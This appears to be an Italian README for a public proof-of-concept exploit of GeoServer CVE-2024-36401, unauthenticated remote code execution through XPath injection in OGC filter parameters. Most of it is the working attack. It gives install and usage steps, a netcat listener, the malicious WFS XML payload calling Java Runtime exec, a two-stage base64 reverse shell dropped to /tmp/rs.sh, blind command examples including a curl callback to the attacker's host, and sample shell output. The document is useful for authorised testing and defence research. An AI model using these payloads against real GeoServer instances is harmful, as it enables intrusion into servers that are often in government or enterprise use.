
Exploit RCE non autenticato per GeoServer (CVE-2024-36401) tramite iniezione XPath nel filtro OGC. Supporta esecuzione di comandi reverse shell e blind con rilevamento automatico della versione e probing del tipo di feature.
Exploit di esecuzione remota di codice non autenticata per GeoServer tramite iniezione del parametro valueReference del filtro OGC (valutazione XPath/JXPath).
Disclaimer: Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta. L'autore declina ogni responsabilità per uso improprio o danni causati da questo strumento.
GeoServer è un server Java open-source per la condivisione di dati geospaziali, ampiamente diffuso in ambienti governativi, aziendali e di ricerca. CVE-2024-36401 consente a un attaccante non autenticato di eseguire comandi arbitrari del sistema operativo sull'host iniettando espressioni Java nei parametri dei filtri OGC (Open Geospatial Consortium).
La vulnerabilità è stata aggiunta al catalogo CISA Known Exploited Vulnerabilities (KEV) nel luglio 2024 a causa dello sfruttamento attivo in rete.
| Ramo | Intervallo vulnerabile | Risolto in |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
Le versioni di GeoServer precedenti alla 2.23.0 sono probabilmente anch'esse vulnerabili, ma sono giunte a fine vita e non sono state testate.
GeoServer utilizza la libreria GeoTools per valutare le espressioni dei filtri OGC. Il parametro valueReference (così come altri come CQL_FILTER) viene passato a JXPathContext.selectNodes() di Apache Commons JXPath senza alcuna sanificazione.
JXPath supporta la chiamata di metodi Java arbitrari tramite espressioni come:
exec(java.lang.Runtime.getRuntime(), 'id')
Questa valutazione avviene prima del controllo di autenticazione per determinati endpoint, rendendo la vulnerabilità completamente non autenticata.
Endpoint vulnerabili:
POST /geoserver/wfs — Richiesta GetPropertyValue con valueReferenceGET /geoserver/ows — stesso parametro tramite query stringNota tecnica importante: L'espressione valueReference deve utilizzare apici singoli (') attorno alla stringa del comando. Gli apici doppi (") causano errori di parsing XML e impediscono l'esecuzione — un errore comune in altri PoC pubblici.
requestssf, topp, tiger sono sufficienti)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
Oppure installa le dipendenze direttamente:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help mostra questo messaggio di aiuto ed esce
-t, --target TARGET URL del target, es. http://<TARGET>:8080
-l, --lhost LHOST Il tuo indirizzo IP per il callback della reverse shell
-p, --lport LPORT Porta del listener (default: 4444)
-c, --cmd CMD Singolo comando da eseguire (nessun output restituito)
-f, --feature FEATURE Tipo di feature da sovrascrivere (rilevato automaticamente se omesso)
| Modalità | Flag | Descrizione |
|---|---|---|
| Reverse shell | -l LHOST -p LPORT | Reverse shell in due fasi tramite bash |
| Esecuzione comando | -c CMD | Esegue un singolo comando (blind — nessun output) |
| Sovrascrittura tipo feature | -f FEATURE | Salta il rilevamento automatico, usa il tipo specificato |
Prima avvia un listener:
nc -lvnp 4444
Poi esegui l'exploit:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
Output previsto:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
Sul listener:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Esegue un comando senza ricevere output. Utile per verifica out-of-band o per scrivere file:
# Verifica dell'esecuzione tramite creazione file
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Attiva un callback curl per confermare l'esecuzione
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Nota: I comandi che contengono metacaratteri della shell (
>,|,&,;) vengono automaticamente codificati in base64 per evitare problemi di parsing.
Se il rilevamento automatico fallisce, fornisci un tipo di feature noto del target:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Tipi di feature comuni inclusi nei dati di esempio di GeoServer:
| Workspace | Feature Type |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
L'exploit invia una richiesta WFS GetPropertyValue con un'espressione valueReference malevola:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMANDO')
</wfs:valueReference>
</wfs:GetPropertyValue>
Per la reverse shell viene utilizzato un approccio in due fasi per evitare problemi con i metacaratteri della shell all'interno dell'argomento stringa singola di exec():
Fase 1 — Scrive la reverse shell in /tmp/rs.sh usando la codifica base64 e l'espansione delle parentesi graffe della shell (nessuno spazio nella stringa exec):
bash -c {echo,PAYLOAD_BASE64}|{base64,-d}|{tee,/tmp/rs.sh}
Fase 2 — Esegue lo script:
bash /tmp/rs.sh
Questo approccio evita la necessità di un interprete shell nella prima chiamata exec(), rendendolo affidabile su diverse configurazioni di sistema.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<tipo>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered ma nessuna shell ricevuta
LHOST:LPORT") attorno al comando — questo non funziona. Assicurati di usare apici singoli (') all'interno dell'espressione valueReference.[!] Version X.X.X may be patched — attempting anyway
Questo progetto è concesso in licenza con la MIT License. Vedi LICENSE per i dettagli.